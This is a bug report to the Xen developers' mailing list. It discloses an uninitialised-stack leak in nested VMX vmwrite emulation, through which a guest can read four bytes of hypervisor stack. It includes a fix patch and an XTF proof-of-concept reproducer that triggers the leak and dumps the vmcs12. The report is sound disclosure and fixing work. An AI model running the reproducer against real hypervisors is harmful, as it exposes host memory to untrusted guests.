[BUG] uninitialised stack memory copied to vmcs12

["Johann Höpfner" <hoepf@cit.tum.de>]

Hello xen-devel@

While fuzzing Xen instrumented by an experimental memory sanitizer, we
discovered the following bug in nested VMX, where a malicious L1 guest
with nestedhvm=1 can read four uninitialised bytes from the hypervisor
vmexit handler stack. 

Specifically nvmx_handle_vmwrite leaves local eight byte variable
'operand' uninitialised. It is then written to by decode_vmx_inst. In
cases where the operand to vmwrite is a r32, r64 or m64, this fully
initializes *poperandS; if however a vmwrite with a 32 bit memory
operand is emulated, hvm_copy_from_guest_linear leaves the upper half of
*poperandS uninitialised. In the case where cpu_has_vmx_shadow_vmcs
returns true, the resulting eight byte value is consequently written to
the vmcs12 unchecked and leaks the four uninitialised bytes into guest
physical memory via the vmcs12.

Attached is a reproducer for XTF which triggers the behavior described
above at least on 4.20 and master versions of Xen running on intel
x86_64 hosts. We would expect there to be the constant 0x99999999, which
we have just vmwritten, somewhere in the unloaded vmcs12, likely zero
extended to eight bytes. However it is stored instead alongside four
bytes read from the hypervisor stack. Currently I am not aware of
security implications for this bug, as I have not been able to leak more
than what appear to be the rather uninteresting upper four bytes of a
pointer.

The same issue exists in nvmx_handle_invept, though no malicious use is
known to me. I suggest fixing both by simply initialising operand / eptp
to 0 in nvmx_handle_vmwrite / nvmx_handle_invept. Patch is given
immediately below, preceding the reproducer.


diff --git a/xen/arch/x86/hvm/vmx/vvmx.c b/xen/arch/x86/hvm/vmx/vvmx.c
index e4cdfe55c1..3f9cf7962e 100644
--- a/xen/arch/x86/hvm/vmx/vvmx.c
+++ b/xen/arch/x86/hvm/vmx/vvmx.c
@@ -1968,7 +1968,7 @@ static int nvmx_handle_vmwrite(struct cpu_user_regs *regs)
 {
     struct vcpu *v = current;
     struct vmx_inst_decoded decode;
-    unsigned long operand; 
+    unsigned long operand = 0;
     u64 vmcs_encoding;
     enum vmx_insn_errno err;
     int rc;
@@ -2012,7 +2012,7 @@ static int nvmx_handle_vmwrite(struct cpu_user_regs *regs)
 static int nvmx_handle_invept(struct cpu_user_regs *regs)
 {
     struct vmx_inst_decoded decode;
-    unsigned long eptp;
+    unsigned long eptp = 0;
     int ret;
 
     if ( (ret = decode_vmx_inst(regs, &decode, &eptp)) != X86EMUL_OKAY )



/** Makefile **/

include $(ROOT)/build/common.mk
NAME      := vmx32
CATEGORY  := functional
TEST-ENVS := hvm32
TEST-EXTRA-CFG := extra.cfg.in
obj-perenv += main.o
include $(ROOT)/build/gen.mk

/** extra.cfg.in **/

nestedhvm = 1

/** main.c **/

#include <xtf.h>
const char test_title[] = "test vmwrite m32 leak";
static uint8_t vmxon_region[PAGE_SIZE] __aligned(PAGE_SIZE);
static uint8_t vmcs_region[PAGE_SIZE] __aligned(PAGE_SIZE);
static uint32_t identity_pde[1024] __aligned(PAGE_SIZE);
void test_main(void) {
  if (!cpu_has_vmx) return xtf_skip("nested VMX required.");

  for (unsigned int i = 0; i < 1024; i++) {
    identity_pde[i] = (i << 22) | 0x83;
  }
  write_cr3(_u(identity_pde));
  write_cr4(read_cr4() | X86_CR4_PSE | X86_CR4_VMXE);
  write_cr0(read_cr0() | X86_CR0_PG | X86_CR0_NE);

  uint32_t rev = (uint32_t)rdmsr(0x480);
  *(uint32_t *)vmxon_region = rev;
  *(uint32_t *)vmcs_region = rev;
  uint32_t vmxon_pa = _u(vmxon_region);
  uint32_t vmcs_pa = _u(vmcs_region);
  uint8_t err;

  uint32_t field = 0x2000;
  uint32_t val = 0x99999999;

  asm volatile("vmxon %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmxon_pa) : "cc", "memory");
  if (err) return xtf_error("Error: VMXON failed\n");
  asm volatile("vmclear %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmcs_pa) : "cc", "memory"); 
  if (err) return xtf_error("Error: VMCLEAR failed\n");
  asm volatile("vmptrld %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmcs_pa) : "cc", "memory");
  if (err) return xtf_error("Error: VMPTRLD failed\n");

  asm volatile("vmwrite %[val], %[field]; setbe %[err]" : [err] "=q"(err) : [val] "m"(val), [field] "r"(field) : "cc", "memory");
  if (err) return xtf_failure("Fail: VMWRITE failed\n");

  asm volatile("vmclear %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmcs_pa) : "cc", "memory");
  if (err) return xtf_error("VMCLEAR failed! Cannot dump.\n");

  for (int i = 0; i < 1024; i++) {
    printk("%08x ", ((uint32_t *)vmcs_pa)[i]); if ((i + 1) % 4 == 0) printk("\n");
  }

  asm volatile("vmptrld %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmcs_pa) : "cc", "memory");
  asm volatile("vmxoff" ::: "cc", "memory");
}